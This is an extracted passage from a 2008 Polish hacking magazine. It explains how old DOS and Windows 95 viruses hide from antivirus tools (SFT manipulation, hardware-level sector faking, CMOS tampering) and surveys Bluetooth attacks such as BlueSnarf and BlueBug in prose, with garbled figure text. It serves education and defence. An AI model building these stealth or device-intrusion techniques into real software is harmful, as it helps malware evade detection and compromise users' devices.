do funkcji 16-bitowego systemu DOS,
Windows 95 udostępnia analogicznie
działające funkcje poprzez tzw. API (ang.
Application Program Interface), stanowiące
odpowiednik przerwania 21h dla systemu
DOS. Kod większości funkcji systemowych
dostępnych przez API zawarty jest w
pliku KERNEL32.DLL, będącym częścią
jądra systemu. Na przykład funkcji

714E

odpowiada funkcja

FindFirstFileA

, zaś

funkcji

714F

– funkcja

FindNextFileA

. Z

funkcji tych korzysta większość programów
działających w systemie Windows 95, m.
in. Eksplorator, a także różne programy
nakładkowe, np. Windows Commander 95.
Zatem przejęcie kontroli nad tymi funkcjami
pozwala na użycie techniki stealth również
w systemie Windows 95 (ze względów
oczywistych pomijam Windows XP). Adresy
powyższych funkcji można odczytać z pliku
KERNEL32.DLL, a uzyskane w ten sposób
offsety należy zmodyfikować poprzez
dodanie do nich adresu, pod którym
znajduje się KERNEL32.DLL w pamięci.
Niestety, odczytanie tego adresu w sposób
bezpośredni, bez używania funkcji API nie
jest takie łatwe. Pierwszy wirus dla Windows
95 (Bizatch lub inaczej Boza) korzysta
przy dostępie do funkcji systemowych
ze stałego adresu, zapamiętanego w
kodzie wirusa. Ze względu na to, że adres
ten zmienia się w różnych podwersjach
systemu Windows 95, należy przed jego
użyciem sprawdzić, czy rzeczywiście jest
on właściwy. Opis struktury FindData
zamieszczono w osobnej Ramce.

Podawanie oryginalnych
długości i zawartości plików

Aby w pełni oszukiwać system, należy
oprócz prawdziwych długości plików
podawać także ich prawdziwą zawartość.
W tym celu oprócz funkcji przeszukujących
zawartość katalogu trzeba kontrolować
funkcje służące do manipulowania
zawartością plików. Najprościej w
momencie otwierania pliku leczyć go, a w

chwili zamykania – ponownie infekować.

Powyższa metoda ma jednak kilka

niedociągnięć. Główną jej wadą jest
to, iż nie sprawdzi się ona na pewno
na dyskach zabezpieczonych przed
zapisem (klasycznym przykładem jest
tu płyta CD lub zabezpieczona przed
zapisem dyskietka). Należy też pamiętać,
iż użytkownik z pewnością zauważy
częste leczenie i ponowną infekcję plików,
gdyż wszelkie operacje dyskowe będą
przebłagały wolniej.

Powyższych wad nie posiada

natomiast metoda polegająca na tym,
aby w momencie odczytu dowolnego pliku
sprawdzać, czy jest to plik zainfekowany i w
locie leczyć go w pamięci, nie zmieniając
jednak jego obrazu na dysku. W efekcie
program odczytujący plik widzi jego
oryginalną, prawidłową zawartość, zaś
fizycznie plik nie jest zmieniany.

Napisanie procedury stosującej

powyższą metodę nie jest już jednak
zadaniem tak łatwym, jak w poprzednim
przypadku; należy rozważyć kilka
możliwości związanych z położeniem
wskaźnika zapisu/odczytu w stosunku do
początku pliku. Aby uprościć to zadanie,
często stosuje się zabieg polegający na
tym, że przy otwieraniu zainfekowanego
pliku zmniejsza się w wewnętrznych
strukturach DOS (tablica SFT opisana
poniżej) jego długość o rozmiar wirusa.
Wtedy jedynym obszarem pliku, którym
musi zająć się wirus, jest jego początek
(np. w przypadku nagłówka plików EXE

Uzyskiwanie informacji

o pliku na podstawie jego uchwytu

• MOV AX,1220h – weź adres tablicy JFT zawierającej numer SFT,

– opisującej plik podany w BX

• MOV BX,UchwytPliku – BX zawiera uchwyt (numer) pliku,
• INT 2Fh – wywołaj funkcję,
• MOV BL,ES:[DI] – weź numer tablicy SFT,
• MOV AX,1216h – weź adres tablicy SFT na podstawie numeru w BL,

• INT 2Fh – wywołaj funkcję, ES:DI wskazuje na tablicę SFT pliku.

Format podtablicy SFT

• 00-03 – Wskaźnik do następnej podtablicy,
• 04 – N – liczba plików w podtablicy,
• 06-40 – Opis pliku nr 1 w podtablicy (patrz następna tablica),
• 41-7B – Opcjonalnie – opis pliku nr 2 w podtablicy (i ewentualnie dalszych – po 3Bh bajtów.

Rysunek 2.

Spokojnie, to tylko dane

background image

ATAK

28

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

29

HAKIN9

4/2008

wirus powinien przywracać jego prawdziwą
zawartość), gdyż operacje odczytu nigdy
nie dojdą do dodanego na końcu pliku
wirusa.

Przy programowaniu wirusa

wykorzystującego technikę stealth
często przydatne są dwie wewnętrzne
funkcje DOS (

1216/1220/2F

), służące

do operowania na wewnętrznych
strukturach DOS, tzw. tablicach SFT
(ang. System File Table), zawierających
wszelkie informacje o otwartym pliku. W
systemie może istnieć kilka podtablic
SFT, połączonych w łańcuch. Dostęp
do zawartych w nich informacji o pliku
uzyskuje się na podstawie uchwytu pliku
zwracanego przez funkcje (

3D,6C/21

)

przy jego otwieraniu. Uchwyt ten podaje
się jako parametr funkcji (

1216/1220/2F

).

Po ich użyciu najpierw uzyskujemy adres
tzw. tablicy JFT (ang. Job File Table),
opisującej pliki otwarte w ramach danego
procesu. Na jej podstawie otrzymujemy
adres tablicy SFT opisującej dany plik.

Używa się do tego poniższej sekwencji

instrukcji (Ramka Uzyskiwanie informacji o
pliku na podstawie jego uchwytu
)

Jak widać, infekowanie pliku jest

możliwe nawet przy jego zamykaniu.
Format podtablicy SFT oraz opis
pojedynczego pliku podano w osobnych
Ramkach.

Zamieszczony poniżej wirus stosuje

technikę semi-stealth w odniesieniu do
polecenia DIR i popularnych nakładek oraz
full stealth opartą na tablicach SFT.

Podawanie prawdziwej
zawartości sektorów

Oczywiście technikę stealth można
stosować także w przypadku odczytu
sektorów; należy przejąć obsługę funkcji
(

02/13

) oraz ewentualnie (

0A/13

). W

momencie próby odczytu zarażonego

MBR lub BOOT-sektora wirus podsuwa
programowi odczytującemu ich
oryginalną, nie zainfekowaną zawartość
(podobnie jak w przypadku plików,
sektory zainfekowane muszą być w
jakiś sposób oznaczone, żeby wirus
mógł je rozpoznać). Aby ustrzec się
przed programami umożliwiającymi
odświeżenie tablicy partycji lub BOOT-
sektora, można dodatkowo zabezpieczyć
sektory zawierające wirusa przed
zapisem poprzez przejęcie funkcji (

03/13

)

i ewentualnie (

0B/13

).

Fałszowanie sektorów na etapie
obsługi przerwań sprzętowych

W przypadku sektorów istnieje możliwość
zastosowania techniki tzw. hardware level
stealth
, która jest rozszerzeniem metody
opisanej w poprzednim punkcie. Technika
ta polega na przechwyceniu odwołań
do dysków już na etapie przerwania
sprzętowego IRQ 14 (INT 76h) lub poprzez
przejęcie wywoływanej przez to przerwanie
funkcji (

9100/15h

), co umożliwia

oszukiwanie systemu na najniższym
poziomie programowym. Podczas obsługi

tego przerwania lub funkcji wirus może
odczytać z portów lFx dane o aktualnie
wykonywanej operacji i następnie, w razie
wykrycia odwołania np. do MBR, zmienić
rozkaz tak, aby odczytywać inny sektor,
zawierający kopię oryginalnej zawartości
MBR.

Sprawdzenie aktualnie wykonywanej

operacji polega na odczycie bajtu
z portu 1F7 (rejestr statusowy IDE) i
przetestowaniu bitów jego młodszej części.
Jeżeli któryś z nich jest ustawiony (tzn.
ma wartość l), oznacza to, iż właśnie jest
wykonywana operacja odczytu. Parametry
odczytywanego sektora (cylinder, głowicę,
sektor) można odczytać z portów 1F3, 1F4/
1F5/1F6. Jeżeli odczytane dane są zgodne
z oczekiwanymi, wirus musi wykonać do
końca operację odczytu oraz ustawić dane
w portach kontrolera na inny sektor (np.
na taki, w którym znajduje się oryginalna
zawartość odczytywanego sektora).

W efekcie program antywirusowy,

który używa do odczytu sektorów
bezpośredniego adresu przerwania int
13h, zawartego w BIOS-ie, i tak będzie
oszukiwany przez wirusa. Aby technika

Opis pliku zawarty w tablicy SFT

• 00-01 – Liczba łączników do pliku,
• 02-03 – Tryb,
• 04 – Atrybut pliku,
• 05-06 – Informacja o pliku,
• 07-0A – Wskaźnik do nagłówka programu obsługi lub do bloku DPB (Drive Parameter Block),
• 0B-0C – Pierwsza JAP pliku,
• 0D-0E – Czas ostatniej modyfikacji pliku,
• 0F-11 – Data ostatniej modyfikacji pliku,
• 11-14 – Rozmiar pliku,
• 15-18 – Aktualna pozycja wskaźnika odczytu/zapisu pliku,
• 19-1A – Względny numer JAP,
• 1B-1E – Położenie elementu katalogu opisującego plik,
• 20-2A – Nazwa i rozszerzenie pliku,
• 2B-2E – Wskaźnik do poprzedniego elementu SFT (pole programu SHARE),
• 2F-30 – Numer komputera w sieci (pole programu SHARE),
• 31-32 – Adres właściciela pliku (jego PSP – Program Segment Prefix),
• 33-34 – Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu

SHARE),

• 35-36 – Numer JAP,
• 37-3A – Wskaźnik do sterownika IFS (Installable File System) pliku lub 00000000h.

UWAGA!

Niektóre fragmenty szkodliwego kodu zawarte w artykule, uruchomione bezpośrednio na Twoim
komputerze, mogą uszkodzić dane – należy zachować ostrożność podczas eksperymentów z
przedstawionym w tekście malware.

Rysunek 3.

Walczymy z wirusami

ATAK

background image

ATAK

28

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

29

HAKIN9

4/2008

hardware level stealth zadziałała, sterownik dysku
musi generować przerwanie IRQ14 (co można ustawić
programowo) przy realizacji operacji dostępu do dysku.

Modyfikacja CMOS-u

Nowoczesne BIOS-y zawierają mechanizmy
zabezpieczania niektórych newralgicznych sektorów
przed zapisem (MBR, BOOT-sektory). W momencie
wykrycia próby zapisu do któregoś z tych sektorów
system najczęściej w określony sposób alarmuje
użytkownika i czasem prosi go o potwierdzenie
wykonywanej operacji lub też, aby kompletnie
uniemożliwić tę operację, zawiesza komputer i czeka na
naciśnięcie klawisza RESET.

To, czy BIOS będzie reagował na próby zapisu

do newralgicznych sektorów, ustalane jest zwykle z
poziomu programu SETUP, który dostępny jest po
naciśnięciu pewnego klawisza (najczęściej [Delete]
lub [Ctrl+Alt+Esc]) podczas uruchamiania komputera.
Ustalone w programie SETUP parametry są po jego
opuszczeniu zapisywane do podtrzymywanej baterią
pamięci CMOS.

Korzystając z tego, iż pamięć ta dostępna jest

programowo, można zmodyfikować określone dane
– tak, aby np. na chwilę odblokować zapis do MBR.
Wymaga to jednak znajomości różnych systemów
BIOS, gdyż znajdująca się w nich pamięć CMOS
ma zazwyczaj zawartość odmienną od pamięci w
innych komputerach, a jej zgodność ogranicza się
do ustalonego znaczenia początkowych komórek
tej pamięci (co jest konieczne ze względu na
kompatybilność).

Drugim parametrem możliwym do zmodyfikowania

w CMOS-ie jest wartość określająca, jakie napędy
dyskietek zamontowane są w komputerze. Wirus może
wyzerować tę wartość – tak, iż przy starcie BIOS nie
będzie widział żadnej dyskietki i będzie próbował
załadować system z twardego dysku (z MBR), razem
ze znajdującym się w nim wirusem. Po załadowaniu
wirus przywraca parametry dyskietek w CMOS-ie i
następnie sprawdza, czy napęd FDD zawiera dyskietkę
i ewentualnie wczytuje z niej BOOT-sektor, po czym
oddaje do niego sterowanie.

Zainstalowany w systemie wirus przy odwołaniach

do dyskietek ustawia parametry w CMOS-ie, a po ich
zakończeniu znowu je kasuje, tak więc po wyłączeniu
komputera parametry w CMOS-ie będą najczęściej
skasowane. Takie działanie dość mocno utrudni
załadowanie systemu z czystej dyskietki, zwłaszcza jeśli
wirus potrafi także zainstalować w pamięci CMOS hasło,
uniemożliwiające przeciętnemu użytkownikowi dostanie
się do programu SETUP.

Rafał Podsiadły

Informatyk, administrator, serwisant sprzętu i programów. Autor fascynuje się

programowaniem, szczególnie C++ oraz nowymi technologiami.

Kontakt z autorem: rafalpa@interia.pl

background image

30

HAKIN9

ATAK

4/2008

T

echnologia Bluetooth jest kontynuacją
takich interfejsów jak IRDA czy FastIRDA .
W stosunku do swoich młodszych braci

nie jest konieczne, aby elementy nadawczo-
odbiorcze urządzeń były wzajemnie widoczne
i umieszczone maksymalnie blisko siebie.
Dodatkowo technologia Bluetooth zapełnia
tworzenie mini-sieci wielu urządzeń, co nie było
możliwe w przypadku technologii IRDA .

Co to jest Bluetooth?

Bluetooth to standard technologii
bezprzewodowej, opracowany przez
konsorcjum SIG, w skład którego weszły m.
in. firmy Ericsson, Nokia, IBM, Motorola, Intel
i Toshiba. Technologia Bluetooth korzysta z
sygnałów radiowych o niewielkim zasięgu
w celu umożliwienia komunikacji pomiędzy
takimi urządzeniami, jak telefony komórkowe,
komputery przenośne czy inne podręczne
urządzenia. Technologia może być zastosowana
niemal w dowolnym urządzeniu elektronicznym,
jak np. sprzęt gospodarstwa domowego,
urządzenia elektroniczne w samochodzie,
elektronika domowa, telefony komórkowe,
urządzenia PDA czy wreszcie stacjonarne
wyposażenie biurowe. Pierwsza, obejmująca
1500 stron specyfikacja, została opublikowana
przez SIG w 1999 roku, a została zatwierdzona
przez grupę standaryzacyjną IEEE trzy lata
później.

MARIAN WITKOWSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jakie niebezpieczeństwa

niesie ze sobą nieumiejętnie

korzystanie z technologii

Bluetooth,

jak prostymi metodami

zminimalizować ryzyko

nieautoryzowanego dostępu do

urządzeń wyposażonych

w Bluetooth.

CO POWINIENEŚ

WIEDZIEĆ

jak zainstalować moduł BT

w komputerze,

jak korzystać z modułu BT

w telefonie/PDA,

mieć rozeznianie w korzystaniu

z usług GSM (SMS, MMS,

aplikacje Java/Symbian).

Jako ciekawostkę należy przytoczyć, że

nazwa technologii pochodzi od przydomka króla
duńskiego Haralda Sinozębego, który w X wieku n.
e. podporządkował sobie Norwegię i tym samym
przyczynił się do zjednoczenia rywalizujących
plemion z Danii i Norwegii. Tak więc istotą
Bluetooth’a jest łączyć i umożliwiać komunikację
urządzeń o różnym przeznaczeniu.

Bluetooth został zaprojektowany do

komunikacji na stosunkowo niewielkie
odległości – do 10 metrów, jednak obecnie
zasięg w zależności od klasy urządzenia jest
zmienny i może wynosić:

Niezależnie od wyżej wymienionych

danych, możliwe jest uzyskanie za pomocą
odpowiednich konstrukcji anten nadawczo-
odbiorczych większego zasięgu, który może
zostać wykorzystany (niestety) przy ewentualnej
próbie nieautoryzowanego dostępu.

Bluetooth zapewnia nam szybszą transmisję

danych niż ma to miejsce w przypadku
interfejsu IRDA . W zależności od wersji interfejsu
może ona wynosić: dla Bluetooth w wersji 1.0,
1.1, 1.2 – 721 kb/s, dla wersji 2.0 – do 2 Mb/s,
a z obsługą EDR (Enhanced Data Rate) – aż do
3 Mb/s.

Architektura Bluetooth

Urządzenia wykorzystujące technologię Bluetooth
łączą się w tzw. pikosieci (ang. piconet). W ramach
takiego układu może istnieć jeden węzeł typu

Stopień trudności

Hakowanie

Bluetooth

Do niedawna wielu z nas wydawało się, że ostatnim 'ogniwem'

mobilności w przypadku telefonii są telefony komórkowe. Jednak

w miarę odkrywania nowych możliwości zastosowań tego typu

sprzętu nie tylko do typowej komunikacji głosowej, rozwinęły się

technologie, w których komórka jest tylko elementem łączącym

ogniwa łańcucha komunikacyjnego, a sieć GSM – jednym z

dostępnych sposobów na przekazywanie informacji.

background image

31

HAKIN9

HAKOWANIE BLUETOOTH

4/2008

Master oraz maksymalnie 7 węzłów typu
Slave. Maksymalna pojemność pikosieci
to 255 węzłów – jednakże urządzenia
podłączone do tych węzłów znajdują się w
trybie synchronizacji z węzłem Master i nie
uczestniczą w aktywnej wymianie informacji.
Wymiana danych w pikosieci występuje
tylko między węzłem Master oraz Slave.
Możliwe jest łączenie pikosieci – w takim
przypadku jeden z węzłów typu Slave ma
możliwość komunikacji z dwoma węzłami
typu Master. Taki mostek sieciowy nosi
nazwę scatternet.

Szum w eterze,

czyli warstwa radiowa

Jako technologia bezprzewodowa,
Bluetooth wykorzystuje emisję radiową
o małej mocy w paśmie 2,4 GHz. Dane
są transmitowane w pakietach, z których
każdy jest nadawany i odbierany na innej
częstotliwości. Dla technologii Bluetooth
minimalna częstotliwość pracy wynosi
2402 MHz, a maksymalna – 2480 MHz.
Pasmo to podzielono na 79 kanałów
oddalonych od siebie o 1 MHz. Przeskoki
między częstotliwościami odbywają się
1600 razy na sekundę, tak więc czas pracy
na jednym kanale (tzw. Time Slot) wynosi

625 mikrosekund. System wykorzystuje
modulację FSK (Frequency Shift Keying).
Skoki częstotliwości determinowane
są przez węzeł Master. Niestety, w tym
samym paśmie pracują również sieci
bezprzewodowe w standardzie 802.11,
co wpływa na możliwość interferencji
sygnałów. Jednak z uwagi na to, że skoki
częstotliwości są szybsze dla Bluetooth’a,
to właśnie on będzie w większym stopniu
zakłócał transmisję sieci 802.11. Aby
przeciwdziałać tego typu problemom,
interfejsy Bluetooth wyposażane są
w mechanizm Adaptive Frequency
Hopping
(AFH), który unika połączeń na
interferujących kanałach.

Warstwy Bluetooth

Interfejs Bluetooth został stworzony
z wykorzystaniem wielu protokołów..
Poszczególne elementy stosu protokołów
podzielono na trzy grupy logiczne:

• grupę protokołów transportowych,
• grupę protokołów pośredniczących,
• grupę aplikacji.

Protokoły transportowe umożliwiają
urządzeniom Bluetooth wzajemne

lokalizowanie się oraz tworzenie,
konfigurowanie i zarządzanie zarówno
fizycznymi, jak i logicznymi połączeniami.
W skład protokołów grupy wchodzą
protokoły radiowe, pasma podstawowego,
menedżera połączenia, połączenia
logicznego i adaptacji oraz interfejsu
kontrolera hosta HCI (Host Controller
Interface
). Protokoły transportowe w
odniesieniu do modelu OSI nie znajdują
się jednak w warstwie transportowej, a w
warstwie fizycznej oraz warstwie łącza.

Protokoły pośredniczące zawierają

zarówno protokoły oraz standardy
przemysłowe, jak i protokoły opracowane
przez SIG specjalnie z myślą o
bezprzewodowej komunikacji Bluetooth.
Do tych pierwszych należy zaliczyć
protokoły związane z Internetem
(PPP, IP, TCP itp.), protokoły aplikacji
bezprzewodowych, protokoły przesyłania
obiektów adaptowane ze standardu IrDA .
Do kolejnego zestawu należą protokoły
zaprojektowane specjalnie dla komunikacji
i pozwalające innym aplikacjom na
korzystanie z połączeń Bluetooth. Oto one:

• protokół emulacji portu szeregowego

(RFCOMM),

Rysunek 1.

Urządzenia wykorzystujące interfejs Bluetooth

�������������

���������

����������

�������������������

������������

�����������������

�����������������

�����������������

����������������

���������������

����������

background image

ATAK

32

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

33

HAKIN9

4/2008

• protokół sygnalizacyjny połączeń

pakietowych, umożliwiający
sterowanie funkcjami telefonicznymi
(TCS),

• protokół wyszukiwania usług (SDP)

pozwala urządzeniom rozpoznawać
funkcje innych urządzeń

• protokół współpracy z aplikacjami w

standardzie IrDA.

Grupa aplikacji składa się z modułów
umożliwiających bezpośrednią
komunikację z innymi urządzeniami na
poziomie aplikacyjnym, np. sterowanie
komendami modemu, przesyłanie
wizytówek (vCard) czy dostęp do
protokołu WAP.

Barwy obronne

Interfejs Bluetooth oferuje pracę w różnych
trybach bezpieczeństwa:

• Tryb 1 – niechroniony. W trybie tym

nie wykorzystuje się szyfrowania ani
uwierzytelnienia, a samo urządzenie
działa w trybie niedyskryminacyjnym,
przykładowo w trybie nadawania lub
odbierania.

• Tryb 2 – oparty na aplikacji/usłudze

(L2CAP). W trybie tym po nawiązaniu
połączenia Security Manager
przeprowadza uwierzytelnienie, co
ogranicza dostęp do urządzenia.

• Tryb 3 – uwierzytelnianie w oparciu

o PIN/szyfrowane adresy MAC.
Uwierzytelnienie dokonywane jest
przed nawiązaniem połączenia.

Jakość użytych kodów PIN rzutuje na poziom
bezpieczeństwa. Kod PIN może mieć od
1 do 16 bajtów, aczkolwiek zazwyczaj ma
on długość 4 bajtów. Do wygenerowania
pierwszego klucza – tzw. Link Key – o
długości 16 bajtów wykorzystywany jest
algorytm E2. Na podstawie tego klucza
generowany jest klucz szyfrowania. Link Key
używany jest do uwierzytelniania połączenia,
a drugi klucz – do szyfrowania danych.

Uwierzytelnianie pomiędzy urządzeniami
wygląda następująco:

• Urządzenie inicjujące wysyła najpierw

swój adres (BD_ADDR). 48-bitowy
adres jest unikatowy i jest podobny
do adresu MAC.

• W odpowiedzi wysyłany jest

wybierany losowo 128-bitowy ciąg
(AU_RAND).

• W oparciu o BD_ADDR, Link Key oraz

AU_RAND oba urządzenia generują
ciąg SRES.

• Urządzenie inicjujące wysyła swój

SRES.

• Drugie urządzenie porównuje

otrzymany SRES ze swoim własnym,
a w przypadku zgodności obu ciągów
połączenie zostaje nawiązane.

Na podstawie wartości BD_ADDR,
AU_RAND oraz SRES, możliwe jest
zdekodowanie kodu PIN.

Jak każda cyfrowa technologia

bezprzewodowa, tak i Bluetooth został
wyposażony w mechanizmy (mniej lub
bardziej skuteczne) do zapewnienia
bezpiecznej transmisji pomiędzy
urządzeniami w niego wyposażonymi.
Należą do nich:

• 'Parowanie' urządzeń – mechanizm

ten polega na tym, że aby
dany interfejs Bluetooth został
dopuszczony do węzła pikosieci przed
rozpoczęciem transmisji, musi zostać
ustalony klucz autoryzacyjny z węzłem
typu Master – jest to zazwyczaj PIN
o długości 4-16 znaków. Niestety,
niektóre urządzenia wyposażone
w Bluetooth mają wprowadzone
domyślnie kody takie, jak 0000 czy
1234, co skutecznie wpływa na
obiżenie poziomu bezpieczeństwa.

• Uwierzytelnianie za pomocą

algorytmu SAFER+. Niestety, w 2005
roku Yaniv Shaked i Avishai Wool
z Izraela opracowali mechanizm

łamania PINu wykorzystujący cechy
algorytmu SAFER+ (4-cyfrowy PIN
w 0,063 sekundy, a 7-cyfrowy w 76
sekund).

• Szyfrowanie połączeń z

wykorzystaniem algorytmu E0.
Niestety, w 2005 roku odzyskano klucz
szyfrujący z E0 przy 238 operacjach
znając pierwsze 24 bity klucza i
posiadając 223.8 ramek ruchu.

• Włączanie trybu ukrywania urządzenia

wyposażonego w Bluetooth. Niestety,
tryb ten nie powoduje dezaktywacji
usług, a jedynie odrzucanie żądań
wysyłanych przez SDP innego
interfejsu Bluetooth.

• Mały zasięg. Niestety, dostępne

anteny kierunkowe pozwalają obecnie
na zwiększenie zasięgu do kilkuset
metrów.

• Częste przeskoki międzykanałowe.

Skorzystano z istniejącej już techniki
rozpraszania widma sygnału z
przeskokiem częstotliwości (Spread
Spectrum with Frequency Hopping
).
Niestety, dostępne analizatory widma
pozwalają przynajmniej na podsłuch
transmisji – choć jej analiza jest
trudna i być może nieopłacalna.

Choć powyższy opis mechanizmów
bezpieczeństwa jest dość defetystyczny,
to nie powinno nas to zniechęcać do
korzystania z technologii Bluetooth.

Ataki Bluetooth

Przyznam się szczerze, że problem
ten dotknął mnie osobiście 2 lata

Rysunek 2.

Scatternet

����������

�������

�������

�������

Tabela 1.

Klasy urządzeń bluetooth

Klasa urządzenia

Moc

Zasięg

1

100 mW

do 100 m

2

2,5 mW

Do 10 m

3

1 mW

Do 1 m.

background image

ATAK

32

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

33

HAKIN9

4/2008

temu. Pracowałem w firmie zajmującej
się integracją usług SMSowych oraz
dostarczającej treści multimedialnych
do telefonów komórkowych. Przez
większość czasu moja Nokia 3650 miała
włączony interfejs Bluetooth z uwagi
na konieczność testowania różnego
rodzaju usług i aplikacji mobilnych.
Jakież było moje zdziwienie, gdy
pewnego razu wchodząc do jednego
z warszawskich hoteli, usłyszałem
dzwonek informujący o nadejściu
SMSa, a na ekranie komórki pojawił
się monit z pytaniem o rozpoczęcie
pobierania pliku z rozszerzeniem SIS
(w ten sposób dystrybuowane są
aplikacje Symbian). Zdaje się, ze jakiś
nieszczęśnik posiadający zainfekowany
telefon, nieświadomie próbował infekować
inne aparaty. Od tego czasu Bluetooth
włączam tylko wtedy, gdy jest to konieczne.
Po tym, nieco osobistym, wstępie
przyjrzyjmy się możliwym sposobom
ataków z wykorzystaniem interfejsu
Bluetooth.

Robaki, wirusy i trojany

Bluetooth sam w sobie może zostać
użyty jako transporter wszelkiego rodzaju
złośliwego oprogramowania, które –

summa summarum – spowodować może
w naszym telefonie takie niepożądane
działania, jak: szybsze rozładowanie
baterii poprzez dużą aktywność
Bluetootha (próba infekcji kolejnych
urządzeń), rozsyłanie wiadomości SMS
do osób z książki adresowej czy łączenie
z numerami o podwyższonej taryfikacji.
Klasycznym przykładem takiego robaka
jest Mabir.A , który po odebraniu SMSa
lub MMSa wysyła pod numer nadawcy
wiadomość MMS zawierającą własną
kopię. Na szczęście coraz więcej firm
zajmujących się ochroną antywirusową
ma w swojej ofercie oprogramowanie do
detekcji i usuwania wirusów instalujących
się w telefonach GSM czy PDA .
Przykładem takiej aplikacji jest Kaspersky
Anti-Virus Mobile
.

BlueSnarf

BlueSnarf jest prawdopodobnie
najpopularniejszym atakiem Bluetooth.
Odkryty został przez Marcela Holtmanna
w październiku 2003. Wykorzystuje błąd
implementacji mechanizmu wymiany
wizytówek w niektórych telefonach
Nokia i Sony Ericsson. Atakujący
wykorzystuje mechanizm OBEX Push
Profile
(OPP), zaprojektowany w celu

wymiany wizytówek i innych obiektów.
W większości przypadków usługa ta nie
wymaga uwierzytelniania. Atak BlueSnarf
polega na wysłaniu żądania OBEX GET
dla znanych powszechnych plików, takich
jak telecom/pb.vcf (książka telefoniczna)
lub telecom/cal.vcs (kalendarz). Jeżeli
oprogramowanie urządzenia nie zostało
zaimplementowane poprawnie, agresor
może uzyskać dostęp do wszystkich
plików (zdjęcia, pliki, kalendarz)
zapisanych na atakowanym urządzeniu.

BlueBug

BlueBug – zaprezentowany przez Martina
Herfurta w marcu 2004 – pozwala na
wykonanie nieautoryzowanych czynności
na urządzeniu z włączonym Bluetooth’em
przy użyciu ukrytych kanałów RFCOMM,
udostępniających komendy AT. Niektóre
telefony pozwalają na wydanie poleceń
AT (komend modemu), przez co agresor
może przejąć całkowitą kontrolę nad
telefonem – ma dostęp do połączeń
telefonicznych, SMSów, książki adresowej,
konfiguracji telefonu.

HeloMoto

HeloMoto – jak nietrudno się domyśleć,
bug ten spotykany jest w niektórych

Rysunek 3.

Warstwy Bluetooth

����������

����

���

���

���

���

��

���

�����

��������

�������

���

�����

���

��������

���������������

�������������������������

�����

������

background image

ATAK

34

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

35

HAKIN9

4/2008

telefonach Motorola, takich jak V80, V5xx,
V6xx czy E398. Atak ten wykorzystuje
niewłaściwą obsługę mechanizmu
'zaufanych urządzeń Bluetooth' i jest
połączeniem ataków BlueSnarf oraz
BlueBug. Agresor rozpoczyna połączenie
z wykorzystaniem profilu OBEX Push
Profile, po czym przerywa proces i zostaje
automatycznie dodany do zaufanych
urządzeń na liście atakowanego telefonu
– teraz wystarczy zainicjować połączenie z
warstwą RFCOMM, aby otrzymać dostęp
do komend AT telefonu.

BlueSmack

BlueSmack jest rodzajem ataku DoS.
Atakowana jest tu warstwa L2CAP.
Działanie polega na tym, iż na poziomie
L2CAP możliwe jest zażądanie
odpowiedzi innego urządzenia Bluetooth.
Podobnie jak w przypadku komunikatu
ping dla ICMP, jego zadaniem dla
L2CAP jest zbadanie dostępności oraz
prędkości nawiązywania połączenia. W
przypadku odpowiednio dużego pakietu
danych wysyłanych w kierunku L2CAP
nastąpi przepełnienie bufora i odmowa
dostępu do usługi.

Blueprinting

Blueprinting jest techniką pozwalającą
na uzyskaniu informacji o urządzeniach z
włączonym interfejsem Bluetooth. Każde
takie urządzenie posiada unikatowy
adres składający się z 6 bajtów, a jego
ma forma jest podobna do adresów

MAC: MM:MM:MM:XX:XX:XX

. Pierwsze

trzy bajty adresu (oznaczone literą M)
zawierają informacje o producencie
chipsetu. Dodatkowo, wykorzystując
mechanizm SDP, istnieje możliwość
pobrania informacji o rodzaju usług
oferowanych przez aktywne interfejsy
Bluetooth. Na tej podstawie może zostać
dokonana identyfikacja urządzenia, co
jest zazwyczaj wstępną czynnością przed
właściwym atakiem z wykorzystaniem
innych opisanych tu technik.

BlueSnarf++

BlueSnarf++ jest rozwinięciem ataku
BlueSnarf, pozwalającym nie tylko na
odczyt plików ze zdalnego urządzenia,
ale także na zapis na nim danych.
Konieczne jest w takim przypadku, aby na
atakowanym urządzeniu był uruchomiony

Rysunek 5.

Algorytm uwierzytelniania

����������������������

����������

���������

�������

����������������������

��������������

�����

�������

�������

���

����

���

���

���

��������������

��������������

���������������

��������

�����

������

�������������

��������

��������

������

����������

��

Rysunek 4.

Algorytm generowania kluczy

����������������������

����������������������

���

���

�����

��������

�����

��������

�����

�����������

�����

�����������

�������������

�����������

�������������

����������������

�������������������
���������

������������������������
�������������

���������

�������������������������������
���������������������������

������������������������
����������������

background image

ATAK

34

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

35

HAKIN9

4/2008

serwer OBEX FTP, do którego agresor
łączy się z wykorzystaniem profilu OBEX
Push bez konieczności parowania
urządzeń. W ten sposób atakujący
otrzymuje uprawnienia do przeglądania,
jak i modyfikacji czy usuwania wszelkich
zasobów plikowych. Obejmuje to również
możliwość nieautoryzowanego dostępu
do takich elementów urządzenia, jak karty
pamięci, które zazwyczaj widoczne są w
systemie plików jako katalogi.

BlueBump

BlueBump jest techniką ataku, w którym
wcześniej pomiędzy urządzeniami
Bluetooth musi zostać nawiązane
zaufane połączenie. Po uzyskaniu
takowego, urządzenie atakujące
podtrzymuje połączenie, lecz prosi
ofiarę o usunięcie klucza Link Key dla
aktywnego połączenia i wygenerowanie
nowego klucza. Wynikiem takiej
operacji jest możliwość nawiązywania
kolejnych połączeń bez konieczności
ponownej autoryzacji. Do skutecznego
przeprowadzenia tego typu ataku
konieczne są operacje socjotechniczne,
mające na celu nakłonienie użytkownika
urządzenia-ofiary do nawiązania
inicjalnego połączenia.

BlueDump

BlueDump opiera się o technikę
spoofingu, gdzie agresor musi znać
Bluetooth Device Address obydwu
sparowanych urządzeń. Po podszyciu się
pod adres jednego z urządzeń, możliwe
jest połączenie z drugim urządzeniem
z pary. Bluetooth atakującego nie
posiada jednak klucza Link Key,
więc gdy urządzenie ofiary zażąda
uwierzytelniania, urządzenie agresora
odpowie komunikatem HCI_Link_Key_
Request_Negative_Reply
. Może to
niekiedy spowodować usunięcie klucza
Link Key w atakowanym urządzeniu
i rozpoczęcie na nowo procedury
parowania.

BlueChop

BlueChop wykorzystuje również
technikę spoofingu, lecz jego działanie
polega na zakłócaniu pracy urządzeń
w pikosieci. Atak bazuje na tym, że
